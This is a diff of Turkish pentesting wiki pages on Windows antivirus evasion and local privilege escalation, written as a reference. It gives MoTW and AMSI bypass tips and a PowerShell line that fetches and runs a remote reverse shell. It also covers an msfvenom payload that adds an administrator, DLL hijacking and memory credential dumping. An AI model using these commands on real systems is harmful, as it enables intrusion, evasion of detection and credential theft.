**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) olan Zone.Identifier adında bir akıştır.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Güvenilir** bir imza sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
|
||||
|
||||
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere uygulanamayacağı için olur.
|
||||
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere **uygulanamayacağı** için olur.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -259,7 +259,7 @@ Burada [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) kullanarak yük
|
||||
|
||||
C# ikili dosyalarını belleğe yüklemek bir süredir biliniyor ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yolu olmaya devam ediyor.
|
||||
|
||||
Yük, diske dokunmadan doğrudan belleğe yükleneceğinden, tüm süreç için yalnızca AMSI'yi yamanmakla ilgilenmemiz gerekecek.
|
||||
Yük, diske dokunmadan doğrudan belleğe yükleneceğinden, tüm süreç için AMSI'yi yamanmakla ilgili endişelenmemiz gerekecek.
|
||||
|
||||
Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sağlıyor, ancak bunu yapmanın farklı yolları var:
|
||||
|
||||
@ -284,34 +284,38 @@ Ayrıca C# Derlemelerini **PowerShell'den** yükleyebilirsiniz, [Invoke-SharpLoa
|
||||
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) adresinde önerildiği gibi, tehlikeye atılmış makineye **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim vererek** diğer dilleri kullanarak kötü niyetli kod çalıştırmak mümkündür.
|
||||
|
||||
Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişim izni vererek, tehlikeye atılmış makinenin **belleğinde bu dillerde rastgele kod çalıştırabilirsiniz**.
|
||||
Yorumlayıcı İkili Dosyalarına ve SMB paylaşımındaki ortama erişim izni vererek, **tehlikeye atılmış makinenin belleğinde bu dillerde rastgele kod çalıştırabilirsiniz.**
|
||||
|
||||
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatmak için daha fazla esnekliğe sahip olduğumuzu** belirtiyor. Bu dillerde rastgele obfuscate edilmemiş ters kabuk betikleri ile yapılan testler başarılı olmuştur.
|
||||
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatmak için daha fazla esnekliğe sahip olduğumuzu** belirtiyor. Bu dillerde rastgele obfuscate edilmemiş ters shell betikleri ile yapılan testler başarılı olmuştur.
|
||||
|
||||
## Gelişmiş Kaçış
|
||||
|
||||
Kaçış, çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
|
||||
Kaçış çok karmaşık bir konudur, bazen sadece bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
|
||||
|
||||
Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır.
|
||||
|
||||
Daha Gelişmiş Kaçış tekniklerine giriş yapmak için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından Kaçış Derinliği hakkında yapılan başka bir harika konuşmadır.
|
||||
Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından yapılan Derinlikte Kaçış hakkında başka bir harika konuşmadır.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Eski Teknikler**
|
||||
|
||||
### **Defender'ın kötü niyetli bulduğu kısımları kontrol etme**
|
||||
### **Defender'ın kötü niyetli bulduğu parçaları kontrol etme**
|
||||
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu araç **ikili dosyanın kısımlarını kaldıracak** ve **Defender'ın** kötü niyetli bulduğu kısmı bulana kadar devam edecektir ve bunu size ayıracaktır.\
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu araç **ikili dosyanın parçalarını kaldıracak** ve **Defender'ın** kötü niyetli bulduğu parçayı bulana kadar devam edecek ve bunu size ayıracaktır.\
|
||||
Aynı şeyi yapan başka bir araç [**avred**](https://github.com/dobin/avred) olup, hizmeti [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) adresinde sunmaktadır.
|
||||
|
||||
### **Telnet Sunucusu**
|
||||
|
||||
Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) yükleyerek yapabiliyordunuz:
|
||||
Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) şu şekilde kurabiliyordunuz:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -343,7 +347,7 @@ Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ do
|
||||
**UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız
|
||||
|
||||
- `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
|
||||
- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır
|
||||
- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [yapılandırma penceresi](https://i.imgur.com/rfMQWcf.png) açılır
|
||||
- Yardım için `winvnc -h` çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
|
||||
|
||||
### GreatSCT
|
||||
@ -471,9 +475,11 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
32bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
{{#ref}}
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
C# obfuscator listesi: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -521,5 +527,4 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -32,7 +32,7 @@ integrity-levels.md
|
||||
|
||||
## Windows Güvenlik Kontrolleri
|
||||
|
||||
Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyalar çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **engelleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce **aşağıdaki sayfayı okuyun** ve **tüm bu savunma** **mekanizmalarını** **listeleyin**:
|
||||
Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **engelleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı** **okuyun** ve tüm bu **savunma** **mekanizmalarını** **listeleyin**:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -79,7 +79,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv
|
||||
|
||||
### Ortam
|
||||
|
||||
Herhangi bir kimlik bilgisi/Çekici bilgi çevre değişkenlerinde kaydedildi mi?
|
||||
Herhangi bir kimlik bilgisi/juicy bilgi çevre değişkenlerinde kaydedildi mi?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -112,7 +112,7 @@ Stop-Transcript
|
||||
```
|
||||
### PowerShell Modül Günlüğü
|
||||
|
||||
PowerShell boru hattı yürütmelerinin detayları, yürütülen komutlar, komut çağrıları ve script parçalarını kapsayacak şekilde kaydedilir. Ancak, tam yürütme detayları ve çıktı sonuçları kaydedilmeyebilir.
|
||||
PowerShell boru hattı yürütmelerinin detayları, yürütülen komutlar, komut çağrıları ve script parçalarını kapsayacak şekilde kaydedilir. Ancak, tam yürütme detayları ve çıktı sonuçları yakalanmayabilir.
|
||||
|
||||
Bunu etkinleştirmek için, belgelerin "Transkript dosyaları" bölümündeki talimatları izleyin ve **"Modül Günlüğü"** seçeneğini **"Powershell Transkripsiyonu"** yerine tercih edin.
|
||||
```bash
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Script'in yürütülmesi sırasında tam bir etkinlik ve içerik kaydı tutulur, böylece her kod bloğu çalıştıkça belgelenir. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sağlanır.
|
||||
Script'in yürütülmesi sırasında tam bir etkinlik ve içerik kaydı tutulur, her kod bloğunun çalıştığı gibi belgelenmesini sağlar. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sunar.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -152,9 +152,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
```
|
||||
## WSUS
|
||||
|
||||
Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmediyse tehlikeye atılabilir.
|
||||
Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmezse tehlikeye atılabilir.
|
||||
|
||||
Aşağıdaki komutu çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edersiniz:
|
||||
Aşağıdaki komutu çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol ederek başlarsınız:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
@ -178,9 +178,9 @@ Araştırmayı burada okuyun:
|
||||
[**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Temelde, bu hatanın sömürdüğü kusur şudur:
|
||||
|
||||
> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi kesmek ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz.
|
||||
> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipseniz ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahip oluruz.
|
||||
>
|
||||
> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini kesebileceğiz. WSUS, sertifikada bir ilk kullanımda güven mekanizması uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir.
|
||||
> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığı için, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir ilk kullanımda güven mekanizması uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir.
|
||||
|
||||
Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz.
|
||||
|
||||
@ -208,7 +208,7 @@ Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/alw
|
||||
|
||||
### PowerUP
|
||||
|
||||
`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturun. Bu betik, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak):
|
||||
Mevcut dizinde ayrıcalıkları artırmak için bir Windows MSI ikili dosyası oluşturmak üzere power-up'tan `Write-UserAddMSI` komutunu kullanın. Bu betik, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -261,13 +261,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
```
|
||||
### WEF
|
||||
|
||||
Windows Olay İletimi, logların nereye gönderildiğini bilmek ilginçtir.
|
||||
Windows Event Forwarding, logların nereye gönderildiğini bilmek ilginçtir.
|
||||
```bash
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler.
|
||||
**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılar tarafından erişilebilir, bu da onlara yetkilendirildikleri takdirde yerel yönetici şifrelerini görüntüleme imkanı tanır.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -296,13 +296,13 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
### Önbelleklenmiş Kimlik Bilgileri
|
||||
|
||||
**Alan kimlik bilgileri**, **Yerel Güvenlik Otoritesi** (LSA) tarafından kimlik doğrulaması yapılır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri, kayıtlı bir güvenlik paketi tarafından kimlik doğrulaması yapıldığında, kullanıcı için genellikle alan kimlik bilgileri oluşturulur.\
|
||||
[**Önbelleklenmiş Kimlik Bilgileri hakkında daha fazla bilgi burada**](
|
||||
[**Önbelleklenmiş Kimlik Bilgileri hakkında daha fazla bilgi burada**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
## Kullanıcılar & Gruplar
|
||||
## Kullanıcılar ve Gruplar
|
||||
|
||||
### Kullanıcıları & Grupları Listele
|
||||
### Kullanıcıları ve Grupları Listele
|
||||
|
||||
Ait olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz.
|
||||
```bash
|
||||
@ -329,8 +329,8 @@ Eğer **ayrıcalıklı bir gruba ait iseniz, ayrıcalıkları artırma imkanın
|
||||
|
||||
### Token manipülasyonu
|
||||
|
||||
**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Tokenleri**](../authentication-credentials-uac-and-efs/#access-tokens).\
|
||||
Aşağıdaki sayfayı kontrol edin **ilginç tokenler hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için:
|
||||
**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Token'ları**](../authentication-credentials-uac-and-efs/#access-tokens).\
|
||||
Aşağıdaki sayfayı kontrol edin **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
@ -358,8 +358,8 @@ powershell -command "Get-Clipboard"
|
||||
|
||||
### Dosya ve Klasör İzinleri
|
||||
|
||||
Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\
|
||||
Bazı çalışan **ikili dosyaları üzerine yazıp yazamayacağınızı kontrol edin** veya olası [**DLL Hijacking saldırılarını**](dll-hijacking/) istismar etmek için ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin:
|
||||
Öncelikle, süreçleri listelemek **sürecin komut satırında parolaları kontrol edin**.\
|
||||
Bazı çalışan ikili dosyaları **üst üste yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/) istismar etmek için:
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
|
||||
#Without usernames
|
||||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
Her zaman [**çalışan electron/cef/chromium hata ayıklayıcılarını** kontrol edin, bunları yetki yükseltmek için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
Her zaman [**çalışan electron/cef/chromium hata ayıklayıcılarını kontrol edin, bunları yetki yükseltmek için kötüye kullanabilirsiniz**](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**Süreçlerin ikili dosyalarının izinlerini kontrol etme**
|
||||
```bash
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**İşlem ikililerinin klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -391,7 +391,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### Bellek Şifre Madenciliği
|
||||
|
||||
Çalışan bir sürecin bellek dökümünü **procdump** kullanarak sysinternals'tan oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun.
|
||||
Çalışan bir sürecin bellek dökümünü **procdump** kullanarak oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -399,7 +399,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
|
||||
**SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.**
|
||||
|
||||
Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" araması yapın, "Komut İstemi'ni Açmak için Tıklayın" seçeneğine tıklayın
|
||||
Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemi'ni Açmak İçin Tıklayın" seçeneğine tıklayın.
|
||||
|
||||
## Hizmetler
|
||||
|
||||
@ -416,7 +416,7 @@ Bir servisin bilgilerini almak için **sc** kullanabilirsiniz.
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek üzere _Sysinternals_'dan **accesschk** ikilisinin bulundurulması önerilir.
|
||||
Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek üzere _Sysinternals_'dan **accesschk** ikili dosyasının bulundurulması önerilir.
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile):
|
||||
|
||||
_Sistem hatası 1058 oluştu._\
|
||||
&#xNAN;_Thizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._
|
||||
&#xNAN;_T hizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._
|
||||
|
||||
Bunu etkinleştirmek için kullanabilirsiniz
|
||||
```bash
|
||||
@ -464,7 +464,7 @@ Yetkiler çeşitli izinler aracılığıyla yükseltilebilir:
|
||||
|
||||
- **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir.
|
||||
- **WRITE_DAC**: İzin yeniden yapılandırmasını etkinleştirir, bu da servis yapılandırmalarını değiştirme yeteneği sağlar.
|
||||
- **WRITE_OWNER**: Mülk edinimi ve izin yeniden yapılandırmasına izin verir.
|
||||
- **WRITE_OWNER**: Mülkiyet edinimi ve izin yeniden yapılandırmasına izin verir.
|
||||
- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğini devralır.
|
||||
- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneğini devralır.
|
||||
|
||||
@ -513,7 +513,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
|
||||
### Alıntılanmamış Hizmet Yolları
|
||||
|
||||
Eğer bir çalıştırılabilir dosyanın yolu alıntı içinde değilse, Windows her boşluktan önceki sonu çalıştırmaya çalışacaktır.
|
||||
Eğer bir çalıştırılabilir dosyanın yolu tırnak içinde değilse, Windows her boşluktan önceki sonu çalıştırmaya çalışacaktır.
|
||||
|
||||
Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şunları çalıştırmaya çalışacaktır:
|
||||
```powershell
|
||||
@ -541,7 +541,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
|
||||
```powershell
|
||||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||||
```
|
||||
**Bu zafiyeti tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz:
|
||||
**Bu güvenlik açığını tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz:
|
||||
```bash
|
||||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||||
```
|
||||
@ -553,7 +553,7 @@ Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak ta
|
||||
|
||||
### Installed Applications
|
||||
|
||||
**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/)).
|
||||
**ikili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -592,7 +592,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### Başlangıçta Çalıştır
|
||||
|
||||
**Farklı bir kullanıcı tarafından çalıştırılacak bazı kayıt defteri veya ikili dosyaları geçersiz kılabilir misiniz kontrol edin.**\
|
||||
**Yetki artırımı için ilginç** **autorun konumları hakkında daha fazla bilgi edinmek için** **aşağıdaki sayfayı** **okuyun**:
|
||||
**Daha fazla bilgi için** **aşağıdaki sayfayı** **okuyun**: **yetkileri artırmak için ilginç autorun konumları**:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -608,7 +608,7 @@ driverquery /SI
|
||||
```
|
||||
## PATH DLL Hijacking
|
||||
|
||||
Eğer **PATH üzerinde bulunan bir klasörde yazma izinleriniz varsa** bir süreç tarafından yüklenen bir DLL'yi ele geçirip **yetkileri artırabilirsiniz**.
|
||||
Eğer **PATH üzerinde bulunan bir klasörde yazma izinleriniz varsa**, bir süreç tarafından yüklenen bir DLL'yi ele geçirip **yetkileri artırabilirsiniz**.
|
||||
|
||||
PATH içindeki tüm klasörlerin izinlerini kontrol edin:
|
||||
```bash
|
||||
@ -632,7 +632,7 @@ net share #Check current shares
|
||||
```
|
||||
### hosts dosyası
|
||||
|
||||
hosts dosyasında sabit kodlanmış diğer bilinen bilgisayarları kontrol edin
|
||||
hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
@ -699,11 +699,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
### Kimlik bilgileri yöneticisi / Windows kasası
|
||||
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Windows Kasa, **Windows**'un kullanıcıları otomatik olarak **giriş yapabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak giriş yapabilirler. Ama durum böyle değil.
|
||||
